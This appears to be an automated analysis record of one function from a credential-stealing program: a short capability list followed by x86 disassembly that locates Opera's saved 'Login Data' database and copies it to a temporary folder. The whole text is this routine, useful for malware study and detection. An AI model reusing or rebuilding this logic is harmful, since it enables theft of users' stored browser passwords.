Function at 0x403850
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d8
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x284], str.ENCWCHAR_Opera_SoftwareOpera_StableLogin_Data
mov dword [ebp - 0x280], str.ENCWCHAR_Opera_SoftwareOpera_StableDefaultLogin_Data
mov dword [ebp - 0x27c], str.ENCWCHAR__sDATABASE
lea eax, [ebp - 0x268]
mov dword [ebp - 0x274], eax
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x270], ecx
lea edx, [ebp - 0x3b8]
mov dword [ebp - 0x26c], edx
mov dword [ebp - 0x3bc], 0
jmp 0x4038c0
mov eax, dword [ebp - 0x3bc]
add eax, 1
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 3
jae 0x4038fe
push 0x96
mov ecx, dword [ebp - 0x3bc]
mov edx, dword [ebp + ecx*4 - 0x274]
push edx
push 0
push 8
mov eax, dword [0x4bb3e8]
push eax
mov ecx, dword [ebp - 0x3bc]
mov edx, dword [ebp + ecx*4 - 0x284]
push edx
call fcn.0040b370
add esp, 0x18
jmp 0x4038b1
mov dword [ebp - 0x278], 0
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
je 0x403b4a
mov eax, dword [ebp - 0x288]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403b3d
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0
je 0x403b3d
mov ecx, dword [ebp - 0x288]
push ecx
lea edx, [ebp - 0x3b8]
push edx
push 0x7fff
mov eax, dword [ebp - 0x3c0]
push eax
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0x3c4], 0
lea ecx, [ebp - 0x3c4]
push ecx
push 0
push 0
push 0x4ae550
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x403b30
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x403b23
xor edx, edx
mov word [ebp - 0x5d0], dx
push 0x206
push 0
lea eax, [ebp - 0x5ce]
push eax
call fcn.00493180
add esp, 0xc
lea ecx, [ebp - 0x268]
push ecx
mov edx, dword [ebp - 0x3c4]
push edx
push 0x4a6bbc
push 0x104
lea eax, [ebp - 0x5d0]
push eax
call fcn.004930ae
add esp, 0x14
lea ecx, [ebp - 0x5d0]
push ecx
call dword [0x4bc980]
cmp eax, 0xffffffff
je 0x403a2f
lea edx, [ebp - 0x268]
mov dword [ebp - 0x278], edx
cmp dword [ebp - 0x278], 0
jne 0x403a9c
xor eax, eax
mov word [ebp - 0x7d8], ax
push 0x206
push 0
lea ecx, [ebp - 0x7d6]
push ecx
call fcn.00493180
add esp, 0xc
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x3c4]
push eax
push 0x4a6c3c
push 0x104
lea ecx, [ebp - 0x7d8]
push ecx
call fcn.004930ae
add esp, 0x14
lea edx, [ebp - 0x7d8]
push edx
call dword [0x4bc980]
cmp eax, 0xffffffff
je 0x403a9c
lea eax, [ebp - 0x138]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0
je 0x403b16
mov ecx, dword [ebp - 0x278]
push ecx
mov edx, dword [ebp - 0x3c4]
push edx
push 0x4a6c48
push 0x7fff
mov eax, dword [ebp - 0x3c8]
push eax
call fcn.004930ae
add esp, 0x14
push 0
mov ecx, dword [ebp - 0x3c0]
push ecx
mov edx, dword [ebp - 0x3c8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x403b16
mov eax, dword [ebp - 0x3c4]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x3c8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x288]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x3c0]
jmp 0x403b4c
mov eax, dword [ebp - 0x3c8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x3c4]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 0x3c0]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret